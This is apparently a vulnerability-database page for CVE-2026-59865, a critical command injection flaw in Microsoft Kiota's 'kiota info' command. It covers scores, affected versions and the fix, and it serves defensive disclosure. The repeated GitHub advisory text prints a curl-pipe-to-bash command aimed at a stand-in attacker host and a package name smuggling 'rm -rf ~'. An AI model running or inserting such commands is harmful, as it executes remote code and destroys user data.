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CVE-2026-59865

Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

9.3 CriticalFix available

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, kiota info read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

4.36%Up 1.2 points since Jul 17, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.3

Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, kiota info read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.

Record
CVE-2026-59865
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-94, CWE-829
Updated
2026-11-02
EUVDEUVD-2026-44933 9.3

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, kiota info read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.

Record
EUVD-2026-44933
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-hq9q-27g5-qwpj 9.3

Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Record
GHSA-hq9q-27g5-qwpj
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-94, CWE-829
Updated
2026-11-02
NVD 9.3

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, kiota info read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.

Record
CVE-2026-59865
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-94, CWE-829
Updated
2026-11-02
OSV 9.3

Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, kiota info read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.

Record
CVE-2026-59865
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-829, CWE-94
Updated
2026-11-07
OSVGHSA-hq9q-27g5-qwpj 9.3

Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Record
GHSA-hq9q-27g5-qwpj
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-829, CWE-94
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
Microsoft.OpenApi.Kiota
NuGet
1.30.0 up to 1.32.5
1.32.5
Microsoft.OpenApi.Kiota.Builder
NuGet
1.30.0 up to 1.32.5
1.32.5
Microsoft.OpenApi.Kiota
NuGet
before 1.29.1
1.29.1
Microsoft.OpenApi.Kiota.Builder
NuGet
before 1.29.1
1.29.1
Microsoft.OpenApi.Kiota
NuGet
1.30.0 up to 1.32.5, plus listed versions
1.31.01.31.11.32.01.32.11.32.21.32.31.32.4
1.32.5
Microsoft.OpenApi.Kiota
NuGet
before 1.29.1, plus listed versions
0.1.0-preview0.1.1-preview0.1.2-preview0.1.3-preview0.10.0-preview
Show 45 moreShow less
0.11.0-preview0.11.1-preview0.2.0-preview0.2.1-preview0.3.0-preview0.4.0-preview0.5.0-preview0.5.1-preview0.6.0-preview0.7.1-preview0.8.3-preview0.9.0-preview1.0.01.0.11.1.01.1.11.1.21.1.31.10.01.10.11.11.01.11.11.12.01.13.01.14.01.15.01.16.01.17.01.18.01.19.01.19.11.2.01.2.11.20.01.21.01.22.01.22.11.22.21.22.31.23.01.24.01.24.11.24.21.24.31.25.1
1.29.1
Microsoft.OpenApi.Kiota.Builder
NuGet
before 1.29.1, plus listed versions
0.2.0-preview0.3.0-preview0.4.0-preview0.5.0-preview0.5.1-preview
Show 41 moreShow less
0.6.0-preview0.7.1-preview1.0.01.0.11.1.01.1.11.1.21.1.31.10.01.10.11.11.01.11.11.12.01.13.01.14.01.15.01.16.01.17.01.18.01.19.01.19.11.2.01.2.11.20.01.21.01.22.01.22.11.22.21.22.31.23.01.3.01.4.01.5.01.5.11.6.11.7.01.8.01.8.11.8.21.9.01.9.1
1.29.1

History

History
RecordedChangedSources
factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-59865 is a critical vulnerability (CVSS 9.3) in Microsoft Kiota, published July 16, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 4.36%, the 91st percentile. Fixed in Microsoft.OpenApi.Kiota 1.32.5.

References

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Left out here: 16 versions. The JSON record has them.

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